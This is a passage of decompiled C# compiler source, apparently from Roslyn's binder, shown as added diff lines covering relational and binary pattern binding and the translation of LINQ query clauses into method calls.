RelationalOperatorType(boundExpression.Type.EnumUnderlyingTypeOrSelf()); + switch (binaryOperatorKind2) + { + case BinaryOperatorKind.Float: + case BinaryOperatorKind.Double: + if (!hasErrors && constantValueOpt != (ConstantValue)null && !constantValueOpt.IsBad && double.IsNaN(constantValueOpt.DoubleValue)) + { + diagnostics.Add(ErrorCode.ERR_RelationalPatternWithNaN, ((SyntaxNode)node.Expression).Location); + hasErrors = true; + } + break; + case BinaryOperatorKind.Error: + case BinaryOperatorKind.Bool: + case BinaryOperatorKind.String: + if (!hasErrors) + { + diagnostics.Add(ErrorCode.ERR_UnsupportedTypeForRelationalPattern, ((SyntaxNode)node).Location, boundExpression.Type.ToDisplayString()); + hasErrors = true; + } + break; + } + if (constantValueOpt == null) + { + hasErrors = true; + constantValueOpt = ConstantValue.Bad; + } + if (!hasErrors && ShouldBlockINumberBaseConversion(patternExpressionConversion, inputType)) + { + diagnostics.Add(ErrorCode.ERR_CannotMatchOnINumberBase, ((SyntaxNode)node).Location, inputType); + hasErrors = true; + } + return new BoundRelationalPattern((SyntaxNode)(object)node, binaryOperatorKind | binaryOperatorKind2, boundExpression, constantValueOpt, inputType, boundExpression.Type, hasErrors); + static BinaryOperatorKind tokenKindToBinaryOperatorKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.LessThanEqualsToken => BinaryOperatorKind.LessThanOrEqual, + SyntaxKind.LessThanToken => BinaryOperatorKind.LessThan, + SyntaxKind.GreaterThanToken => BinaryOperatorKind.GreaterThan, + SyntaxKind.GreaterThanEqualsToken => BinaryOperatorKind.GreaterThanOrEqual, + _ => BinaryOperatorKind.Equal, + }; + } + } + + internal static BinaryOperatorKind RelationalOperatorType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected I4, but got Unknown + SpecialType specialType = type.SpecialType; + switch (specialType - 7) + { + case 11: + return BinaryOperatorKind.Float; + case 12: + return BinaryOperatorKind.Double; + case 1: + return BinaryOperatorKind.Char; + case 2: + return BinaryOperatorKind.Int; + case 3: + return BinaryOperatorKind.Int; + case 5: + return BinaryOperatorKind.Int; + case 4: + return BinaryOperatorKind.Int; + case 6: + return BinaryOperatorKind.Int; + case 7: + return BinaryOperatorKind.UInt; + case 8: + return BinaryOperatorKind.Long; + case 9: + return BinaryOperatorKind.ULong; + case 10: + return BinaryOperatorKind.Decimal; + case 13: + return BinaryOperatorKind.String; + case 0: + return BinaryOperatorKind.Bool; + case 14: + if (type.IsNativeIntegerType) + { + return BinaryOperatorKind.NInt; + } + break; + case 15: + if (type.IsNativeIntegerType) + { + return BinaryOperatorKind.NUInt; + } + break; + } + return BinaryOperatorKind.Error; + } + + private BoundPattern BindUnaryPattern(UnaryPatternSyntax node, TypeSymbol inputType, bool hasErrors, BindingDiagnosticBag diagnostics, bool underIsPattern) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureNotPattern.CheckFeatureAvailability(diagnostics, node.OperatorToken); + bool permitDesignations = underIsPattern; + BoundPattern negated = BindPattern(node.Pattern, inputType, permitDesignations, hasErrors, diagnostics, underIsPattern); + return new BoundNegatedPattern((SyntaxNode)(object)node, negated, inputType, inputType, hasErrors); + } + + private BoundPattern BindBinaryPattern(BinaryPatternSyntax node, TypeSymbol inputType, bool permitDesignations, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + bool flag = node.Kind() == SyntaxKind.OrPattern; + if (flag) + { + MessageID.IDS_FeatureOrPattern.CheckFeatureAvailability(diagnostics, node.OperatorToken); + permitDesignations = false; + BoundPattern boundPattern = BindPattern(node.Left, inputType, permitDesignations, hasErrors, diagnostics); + BoundPattern boundPattern2 = BindPattern(node.Right, inputType, permitDesignations, hasErrors, diagnostics); + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + collectCandidates(boundPattern, instance); + collectCandidates(boundPattern2, instance); + TypeSymbol narrowedType = leastSpecificType((SyntaxNode)(object)node, instance, diagnostics) ?? inputType; + instance.Free(); + return new BoundBinaryPattern((SyntaxNode)(object)node, flag, boundPattern, boundPattern2, inputType, narrowedType, hasErrors); + } + MessageID.IDS_FeatureAndPattern.CheckFeatureAvailability(diagnostics, node.OperatorToken); + BoundPattern boundPattern3 = BindPattern(node.Left, inputType, permitDesignations, hasErrors, diagnostics); + BoundPattern boundPattern4 = BindPattern(node.Right, boundPattern3.NarrowedType, permitDesignations, hasErrors, diagnostics); + return new BoundBinaryPattern((SyntaxNode)(object)node, flag, boundPattern3, boundPattern4, inputType, boundPattern4.NarrowedType, hasErrors); + static void collectCandidates(BoundPattern pat, ArrayBuilder candidates) + { + if (pat is BoundBinaryPattern { Disjunction: not false } boundBinaryPattern) + { + collectCandidates(boundBinaryPattern.Left, candidates); + collectCandidates(boundBinaryPattern.Right, candidates); + } + else + { + candidates.Add(pat.NarrowedType); + } + } + TypeSymbol? leastSpecificType(SyntaxNode val, ArrayBuilder candidates, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + TypeSymbol typeSymbol = candidates[0]; + int i = 1; + for (int count = candidates.Count; i < count; i++) + { + TypeSymbol possiblyLessSpecificCandidate = candidates[i]; + typeSymbol = lessSpecificCandidate(typeSymbol, possiblyLessSpecificCandidate, ref useSiteInfo) ?? typeSymbol; + } + int j = 0; + for (int count2 = candidates.Count; j < count2; j++) + { + TypeSymbol bestSoFar = candidates[j]; + if ((object)lessSpecificCandidate(bestSoFar, typeSymbol, ref useSiteInfo) == null) + { + typeSymbol = null; + break; + } + } + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(val, useSiteInfo); + return typeSymbol; + } + TypeSymbol? lessSpecificCandidate(TypeSymbol bestSoFar, TypeSymbol possiblyLessSpecificCandidate, ref CompoundUseSiteInfo useSiteInfo) + { + if (bestSoFar.Equals(possiblyLessSpecificCandidate, (TypeCompareKind)63)) + { + return bestSoFar.MergeEquivalentTypes(possiblyLessSpecificCandidate, (VarianceKind)1); + } + if (Conversions.HasImplicitReferenceConversion(bestSoFar, possiblyLessSpecificCandidate, ref useSiteInfo)) + { + return possiblyLessSpecificCandidate; + } + if (Conversions.HasBoxingConversion(bestSoFar, possiblyLessSpecificCandidate, ref useSiteInfo)) + { + return possiblyLessSpecificCandidate; + } + return null; + } + } + + internal BoundExpression BindQuery(QueryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureQueryExpression.CheckFeatureAvailability(diagnostics, node.FromClause.FromKeyword); + FromClauseSyntax fromClause = node.FromClause; + BoundExpression boundExpression = BindLeftOfPotentialColorColorMemberAccess(fromClause.Expression, diagnostics); + if (boundExpression.HasDynamicType()) + { + diagnostics.Add(ErrorCode.ERR_BadDynamicQuery, ((SyntaxNode)fromClause.Expression).Location); + boundExpression = BadExpression((SyntaxNode)(object)fromClause.Expression, boundExpression); + } + else + { + boundExpression = BindToNaturalType(boundExpression, diagnostics); + } + (QueryTranslationState, RangeVariableSymbol) tuple = MakeInitialQueryTranslationState(node, diagnostics); + QueryTranslationState item = tuple.Item1; + RangeVariableSymbol item2 = tuple.Item2; + item.fromExpression = MakeMemberAccessValue(boundExpression, diagnostics); + BoundExpression castInvocation = null; + if (fromClause.Type != null) + { + TypeWithAnnotations typeArg = BindTypeArgument(fromClause.Type, diagnostics); + castInvocation = (item.fromExpression = MakeQueryInvocation(fromClause, item.fromExpression, "Cast", fromClause.Type, typeArg, diagnostics)); + } + item.fromExpression = MakeQueryClause(fromClause, item.fromExpression, item2, null, castInvocation); + BoundExpression boundExpression2 = BindQueryInternal1(item, diagnostics); + for (QueryContinuationSyntax continuation = node.Body.Continuation; continuation != null; continuation = continuation.Body.Continuation) + { + item2 = PrepareQueryTranslationStateForContinuation(item, continuation, diagnostics); + item.fromExpression = boundExpression2; + boundExpression2 = BindQueryInternal1(item, diagnostics); + boundExpression2 = MakeQueryClause(continuation.Body, boundExpression2, item2); + boundExpression2 = MakeQueryClause(continuation, boundExpression2, item2); + } + item.Free(); + return MakeQueryClause(node, boundExpression2); + } + + private (QueryTranslationState, RangeVariableSymbol) MakeInitialQueryTranslationState(QueryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + FromClauseSyntax fromClause = node.FromClause; + QueryTranslationState queryTranslationState = new QueryTranslationState(); + RangeVariableSymbol item = (queryTranslationState.rangeVariable = queryTranslationState.AddRangeVariable(this, fromClause.Identifier, diagnostics)); + for (int num = node.Body.Clauses.Count - 1; num >= 0; num--) + { + queryTranslationState.clauses.Push(node.Body.Clauses[num]); + } + queryTranslationState.selectOrGroup = node.Body.SelectOrGroup; + return (queryTranslationState, item); + } + + private RangeVariableSymbol PrepareQueryTranslationStateForContinuation(QueryTranslationState state, QueryContinuationSyntax continuation, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + state.Clear(); + RangeVariableSymbol result = (state.rangeVariable = state.AddRangeVariable(this, continuation.Identifier, diagnostics)); + SyntaxList clauses = continuation.Body.Clauses; + for (int num = clauses.Count - 1; num >= 0; num--) + { + state.clauses.Push(clauses[num]); + } + state.selectOrGroup = continuation.Body.SelectOrGroup; + return result; + } + + private static string GetFirstInvokedMethodName(QueryExpressionSyntax query, out SyntaxNode correspondingAccessNode) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + if (query.FromClause.Type != null) + { + correspondingAccessNode = (SyntaxNode)(object)query.FromClause; + return "Cast"; + } + QueryClauseSyntax queryClauseSyntax = query.Body.Clauses.FirstOrDefault(); + if (queryClauseSyntax != null) + { + correspondingAccessNode = (SyntaxNode)(object)queryClauseSyntax; + switch (queryClauseSyntax.Kind()) + { + case SyntaxKind.FromClause: + return "SelectMany"; + case SyntaxKind.LetClause: + return "Select"; + case SyntaxKind.WhereClause: + return "Where"; + case SyntaxKind.JoinClause: + if (((JoinClauseSyntax)queryClauseSyntax).Into != null) + { + return "GroupJoin"; + } + return "Join"; + case SyntaxKind.OrderByClause: + if (!((SyntaxNode?)(object)((OrderByClauseSyntax)queryClauseSyntax).Orderings.First()).IsKind(SyntaxKind.DescendingOrdering)) + { + return "OrderBy"; + } + return "OrderByDescending"; + default: + throw ExceptionUtilities.UnexpectedValue((object)queryClauseSyntax.Kind()); + } + } + correspondingAccessNode = (SyntaxNode)(object)query.Body.SelectOrGroup; + return query.Body.SelectOrGroup.Kind() switch + { + SyntaxKind.SelectClause => "Select", + SyntaxKind.GroupClause => "GroupBy", + _ => throw ExceptionUtilities.UnexpectedValue((object)query.Body.SelectOrGroup.Kind()), + }; + } + + private BoundExpression BindQueryInternal1(QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + if (!IsDegenerateQuery(state)) + { + return BindQueryInternal2(state, diagnostics); + } + return FinalTranslation(state, diagnostics); + } + + private static bool IsDegenerateQuery(QueryTranslationState state) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if (!EnumerableExtensions.IsEmpty((IReadOnlyCollection)state.clauses)) + { + return false; + } + if (!(state.selectOrGroup is SelectClauseSyntax selectClauseSyntax)) + { + return false; + } + if (selectClauseSyntax.Expression is IdentifierNameSyntax identifierNameSyntax) + { + string name = state.rangeVariable.Name; + SyntaxToken identifier = identifierNameSyntax.Identifier; + return name == ((SyntaxToken)(ref identifier)).ValueText; + } + return false; + } + + private BoundExpression BindQueryInternal2(QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + while (!EnumerableExtensions.IsEmpty((IReadOnlyCollection)state.clauses)) + { + ReduceQuery(state, diagnostics); + } + if (state.selectOrGroup == null) + { + return state.fromExpression; + } + if (IsDegenerateQuery(state)) + { + BoundExpression fromExpression = state.fromExpression; + BoundExpression boundExpression = FinalTranslation(state, BindingDiagnosticBag.Discarded); + if (boundExpression.HasAnyErrors && !fromExpression.HasAnyErrors) + { + boundExpression = null; + } + return MakeQueryClause(state.selectOrGroup, fromExpression, null, null, null, boundExpression); + } + return FinalTranslation(state, diagnostics); + } + + private BoundExpression FinalTranslation(QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + //IL_0122: Unknown result type (might be due to invalid IL or missing references) + //IL_0127: Unknown result type (might be due to invalid IL or missing references) + GroupClauseSyntax groupClauseSyntax; + BindingDiagnosticBag instance; + BoundCall result; + BoundExpression boundExpression; + switch (state.selectOrGroup.Kind()) + { + case SyntaxKind.SelectClause: + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)state.selectOrGroup; + RangeVariableSymbol rangeVariable2 = state.rangeVariable; + BoundExpression fromExpression2 = state.fromExpression; + ExpressionSyntax expression = selectClauseSyntax.Expression; + UnboundLambda arg = MakeQueryUnboundLambda(state.RangeVariableMap(), rangeVariable2, expression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundCall boundCall = MakeQueryInvocation(state.selectOrGroup, fromExpression2, "Select", arg, diagnostics); + return MakeQueryClause(selectClauseSyntax, boundCall, null, boundCall); + } + case SyntaxKind.GroupClause: + { + groupClauseSyntax = (GroupClauseSyntax)state.selectOrGroup; + RangeVariableSymbol rangeVariable = state.rangeVariable; + BoundExpression fromExpression = state.fromExpression; + ExpressionSyntax groupExpression = groupClauseSyntax.GroupExpression; + ExpressionSyntax byExpression = groupClauseSyntax.ByExpression; + IdentifierNameSyntax identifierNameSyntax = groupExpression as IdentifierNameSyntax; + UnboundLambda unboundLambda = MakeQueryUnboundLambda(state.RangeVariableMap(), rangeVariable, byExpression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + instance = BindingDiagnosticBag.GetInstance(diagnostics); + BoundExpression item = MakeQueryUnboundLambda(state.RangeVariableMap(), rangeVariable, groupExpression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + result = MakeQueryInvocation(state.selectOrGroup, fromExpression, "GroupBy", ImmutableArray.Create(unboundLambda, item), instance); + result = ReverseLastTwoParameterOrder(result); + boundExpression = null; + if (identifierNameSyntax != null) + { + SyntaxToken identifier = identifierNameSyntax.Identifier; + if (((SyntaxToken)(ref identifier)).ValueText == rangeVariable.Name) + { + boundExpression = result; + result = MakeQueryInvocation(state.selectOrGroup, fromExpression, "GroupBy", unboundLambda, diagnostics); + if (boundExpression.HasAnyErrors && !result.HasAnyErrors) + { + boundExpression = null; + } + goto IL_017a; + } + } + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + goto IL_017a; + } + default: + { + return new BoundBadExpression((SyntaxNode)(object)state.selectOrGroup, LookupResultKind.OverloadResolutionFailure, ImmutableArray.Empty, ImmutableArray.Create(state.fromExpression), state.fromExpression.Type); + } + IL_017a: + ((BindingDiagnosticBag)(object)instance).Free(); + return MakeQueryClause(groupClauseSyntax, result, null, result, null, boundExpression); + } + } + + private static BoundCall ReverseLastTwoParameterOrder(BoundCall result) + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + int length = result.Arguments.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(result.Arguments); + BoundExpression boundExpression = instance[length - 1]; + instance[length - 1] = instance[length - 2]; + instance[length - 2] = boundExpression; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.AddRange(Enumerable.Range(0, length)); + instance2[length - 1] = length - 2; + instance2[length - 2] = length - 1; + BitVector defaultArguments = result.DefaultArguments; + BitVector defaultArguments2 = ((BitVector)(ref defaultArguments)).Clone(); + int num = length - 1; + int num2 = length - 2; + bool flag = ((BitVector)(ref defaultArguments2))[length - 2]; + bool flag2 = ((BitVector)(ref defaultArguments2))[length - 1]; + ((BitVector)(ref defaultArguments2))[num] = flag; + ((BitVector)(ref defaultArguments2))[num2] = flag2; + return result.Update(result.ReceiverOpt, result.InitialBindingReceiverIsSubjectToCloning, result.Method, instance.ToImmutableAndFree(), default(ImmutableArray), default(ImmutableArray), result.IsDelegateCall, result.Expanded, result.InvokedAsExtensionMethod, instance2.ToImmutableAndFree(), defaultArguments2, result.ResultKind, result.OriginalMethodsOpt, result.Type); + } + + private void ReduceQuery(QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + QueryClauseSyntax queryClauseSyntax = state.clauses.Pop(); + switch (queryClauseSyntax.Kind()) + { + case SyntaxKind.WhereClause: + ReduceWhere((WhereClauseSyntax)queryClauseSyntax, state, diagnostics); + break; + case SyntaxKind.JoinClause: + ReduceJoin((JoinClauseSyntax)queryClauseSyntax, state, diagnostics); + break; + case SyntaxKind.OrderByClause: + ReduceOrderBy((OrderByClauseSyntax)queryClauseSyntax, state, diagnostics); + break; + case SyntaxKind.FromClause: + ReduceFrom((FromClauseSyntax)queryClauseSyntax, state, diagnostics); + break; + case SyntaxKind.LetClause: + ReduceLet((LetClauseSyntax)queryClauseSyntax, state, diagnostics); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)queryClauseSyntax.Kind()); + } + } + + private void ReduceWhere(WhereClauseSyntax where, QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + UnboundLambda arg = MakeQueryUnboundLambda(state.RangeVariableMap(), state.rangeVariable, where.Condition, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundCall boundCall = MakeQueryInvocation(where, state.fromExpression, "Where", arg, diagnostics); + state.fromExpression = MakeQueryClause(where, boundCall, null, boundCall); + } + + private void ReduceJoin(JoinClauseSyntax join, QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_02bd: Unknown result type (might be due to invalid IL or missing references) + //IL_0344: Unknown result type (might be due to invalid IL or missing references) + //IL_0175: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindRValueWithoutTargetType(join.InExpression, diagnostics); + if (boundExpression.HasDynamicType()) + { + diagnostics.Add(ErrorCode.ERR_BadDynamicQuery, ((SyntaxNode)join.InExpression).Location); + boundExpression = BadExpression((SyntaxNode)(object)join.InExpression, boundExpression); + } + BoundExpression boundExpression2 = null; + if (join.Type != null) + { + TypeWithAnnotations typeArg = BindTypeArgument(join.Type, diagnostics); + boundExpression2 = MakeQueryInvocation(join, boundExpression, "Cast", join.Type, typeArg, diagnostics); + boundExpression = boundExpression2; + } + UnboundLambda item = MakeQueryUnboundLambda(state.RangeVariableMap(), state.rangeVariable, join.LeftExpression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + RangeVariableSymbol rangeVariable = state.rangeVariable; + RangeVariableSymbol rangeVariableSymbol = state.AddRangeVariable(this, join.Identifier, diagnostics); + UnboundLambda item2 = MakeQueryUnboundLambda(QueryTranslationState.RangeVariableMap(rangeVariableSymbol), rangeVariableSymbol, join.RightExpression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + if (EnumerableExtensions.IsEmpty((IReadOnlyCollection)state.clauses) && state.selectOrGroup.Kind() == SyntaxKind.SelectClause) + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)state.selectOrGroup; + BoundCall boundCall; + if (join.Into == null) + { + UnboundLambda item3 = MakeQueryUnboundLambda(state.RangeVariableMap(), ImmutableArray.Create(rangeVariable, rangeVariableSymbol), selectClauseSyntax.Expression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + boundCall = MakeQueryInvocation(join, state.fromExpression, "Join", ImmutableArray.Create(boundExpression, item, item2, item3), diagnostics); + } + else + { + state.allRangeVariables[rangeVariableSymbol].Free(); + state.allRangeVariables.Remove(rangeVariableSymbol); + RangeVariableSymbol rangeVariableSymbol2 = state.AddRangeVariable(this, join.Into.Identifier, diagnostics); + UnboundLambda item4 = MakeQueryUnboundLambda(state.RangeVariableMap(), ImmutableArray.Create(rangeVariable, rangeVariableSymbol2), selectClauseSyntax.Expression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + boundCall = MakeQueryInvocation(join, state.fromExpression, "GroupJoin", ImmutableArray.Create(boundExpression, item, item2, item4), diagnostics); + ImmutableArray arguments = boundCall.Arguments; + arguments = arguments.SetItem(arguments.Length - 1, MakeQueryClause(join.Into, arguments[arguments.Length - 1], rangeVariableSymbol2)); + boundCall = boundCall.Update(boundCall.ReceiverOpt, boundCall.InitialBindingReceiverIsSubjectToCloning, boundCall.Method, arguments); + } + state.Clear(); + state.fromExpression = MakeQueryClause(join, boundCall, rangeVariableSymbol, boundCall, boundExpression2); + state.fromExpression = MakeQueryClause(selectClauseSyntax, state.fromExpression); + } + else + { + BoundCall boundCall2; + if (join.Into == null) + { + UnboundLambda item5 = MakePairLambda(join, state, rangeVariable, rangeVariableSymbol, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + boundCall2 = MakeQueryInvocation(join, state.fromExpression, "Join", ImmutableArray.Create(boundExpression, item, item2, item5), diagnostics); + } + else + { + state.allRangeVariables[rangeVariableSymbol].Free(); + state.allRangeVariables.Remove(rangeVariableSymbol); + RangeVariableSymbol rangeVariableSymbol3 = state.AddRangeVariable(this, join.Into.Identifier, diagnostics); + UnboundLambda item6 = MakePairLambda(join, state, rangeVariable, rangeVariableSymbol3, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + boundCall2 = MakeQueryInvocation(join, state.fromExpression, "GroupJoin", ImmutableArray.Create(boundExpression, item, item2, item6), diagnostics); + ImmutableArray arguments2 = boundCall2.Arguments; + arguments2 = arguments2.SetItem(arguments2.Length - 1, MakeQueryClause(join.Into, arguments2[arguments2.Length - 1], rangeVariableSymbol3)); + boundCall2 = boundCall2.Update(boundCall2.ReceiverOpt, boundCall2.InitialBindingReceiverIsSubjectToCloning, boundCall2.Method, arguments2); + } + state.fromExpression = MakeQueryClause(join, boundCall2, rangeVariableSymbol, boundCall2, boundExpression2); + } + } + + private void ReduceOrderBy(OrderByClauseSyntax orderby, QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + bool flag = true; + Enumerator enumerator = orderby.Orderings.GetEnumerator(); + while (enumerator.MoveNext()) + { + OrderingSyntax current = enumerator.Current; + string methodName = (flag ? "OrderBy" : "ThenBy") + (((SyntaxNode?)(object)current).IsKind(SyntaxKind.DescendingOrdering) ? "Descending" : ""); + UnboundLambda arg = MakeQueryUnboundLambda(state.RangeVariableMap(), state.rangeVariable, current.Expression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundCall boundCall = MakeQueryInvocation(current, state.fromExpression, methodName, arg, diagnostics); + state.fromExpression = MakeQueryClause(current, boundCall, null, boundCall); + flag = false; + } + state.fromExpression = MakeQueryClause(orderby, state.fromExpression); + } + + private void ReduceFrom(FromClauseSyntax from, QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + RangeVariableSymbol rangeVariable = state.rangeVariable; + BoundExpression item = ((from.Type != null) ? MakeQueryUnboundLambdaWithCast(state.RangeVariableMap(), rangeVariable, from.Expression, from.Type, BindTypeArgument(from.Type, diagnostics), ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies) : MakeQueryUnboundLambda(state.RangeVariableMap(), rangeVariable, from.Expression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies)); + RangeVariableSymbol rangeVariableSymbol = state.AddRangeVariable(this, from.Identifier, diagnostics); + if (EnumerableExtensions.IsEmpty((IReadOnlyCollection)state.clauses) && ((SyntaxNode?)(object)state.selectOrGroup).IsKind(SyntaxKind.SelectClause)) + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)state.selectOrGroup; + UnboundLambda item2 = MakeQueryUnboundLambda(state.RangeVariableMap(), ImmutableArray.Create(rangeVariable, rangeVariableSymbol), selectClauseSyntax.Expression, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundCall boundCall = MakeQueryInvocation(from, state.fromExpression, "SelectMany", ImmutableArray.Create(item, item2), diagnostics); + BoundExpression castInvocation = ((from.Type != null) ? ExtractCastInvocation(boundCall) : null); + ImmutableArray arguments = boundCall.Arguments; + boundCall = boundCall.Update(boundCall.ReceiverOpt, boundCall.InitialBindingReceiverIsSubjectToCloning, boundCall.Method, arguments.SetItem(arguments.Length - 2, MakeQueryClause(from, arguments[arguments.Length - 2], rangeVariableSymbol, boundCall, castInvocation))); + state.Clear(); + state.fromExpression = MakeQueryClause(from, boundCall, rangeVariableSymbol, boundCall); + state.fromExpression = MakeQueryClause(selectClauseSyntax, state.fromExpression); + } + else + { + UnboundLambda item3 = MakePairLambda(from, state, rangeVariable, rangeVariableSymbol, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundCall boundCall2 = MakeQueryInvocation(from, state.fromExpression, "SelectMany", ImmutableArray.Create(item, item3), diagnostics); + BoundExpression castInvocation2 = ((from.Type != null) ? ExtractCastInvocation(boundCall2) : null); + state.fromExpression = MakeQueryClause(from, boundCall2, rangeVariableSymbol, boundCall2, castInvocation2); + } + } + + private static BoundExpression? ExtractCastInvocation(BoundCall invocation) + { + int index = (invocation.InvokedAsExtensionMethod ? 1 : 0); + BoundLambda boundLambda = ((invocation.Arguments[index] is BoundConversion boundConversion) ? (boundConversion.Operand as BoundLambda) : null); + BoundReturnStatement boundReturnStatement = ((boundLambda != null) ? (boundLambda.Body.Statements[0] as BoundReturnStatement) : null); + if (boundReturnStatement == null) + { + return null; + } + return boundReturnStatement.ExpressionOpt as BoundCall; + } + + private UnboundLambda MakePairLambda(CSharpSyntaxNode node, QueryTranslationState state, RangeVariableSymbol x1, RangeVariableSymbol x2, bool withDependencies) + { + LambdaBodyFactory bodyFactory = delegate(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag d) + { + BoundParameter field1Value = new BoundParameter((SyntaxNode)(object)node, lambdaSymbol.Parameters[0]) + { + WasCompilerGenerated = true + }; + BoundParameter field2Value = new BoundParameter((SyntaxNode)(object)node, lambdaSymbol.Parameters[1]) + { + WasCompilerGenerated = true + }; + BoundExpression expression = MakePair(node, x1.Name, field1Value, x2.Name, field2Value, state, d); + return lambdaBodyBinder.CreateBlockFromExpression(node, ImmutableArray.Empty, (RefKind)0, expression, null, d); + }; + UnboundLambda result = MakeQueryUnboundLambda(state.RangeVariableMap(), ImmutableArray.Create(x1, x2), node, bodyFactory, withDependencies); + state.rangeVariable = state.TransparentRangeVariable(this); + state.AddTransparentIdentifier(x1.Name); + ArrayBuilder obj = state.allRangeVariables[x2]; + obj[obj.Count - 1] = x2.Name; + return result; + } + + private void ReduceLet(LetClauseSyntax let, QueryTranslationState state, BindingDiagnosticBag diagnostics) + { + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + RangeVariableSymbol x = state.rangeVariable; + LambdaBodyFactory bodyFactory = delegate(LambdaSymbol lambdaSymbol, Binder lambdaBodyBinder, BindingDiagnosticBag d) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Expected O, but got Unknown + //IL_0163: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + BoundParameter field1Value = new BoundParameter((SyntaxNode)(object)let, lambdaSymbol.Parameters[0]) + { + WasCompilerGenerated = true + }; + lambdaBodyBinder = lambdaBodyBinder.GetRequiredBinder((SyntaxNode)(object)let.Expression); + BoundExpression boundExpression = lambdaBodyBinder.BindRValueWithoutTargetType(let.Expression, d); + SyntaxTree syntaxTree = let.SyntaxTree; + SyntaxToken identifier2 = let.Identifier; + int spanStart 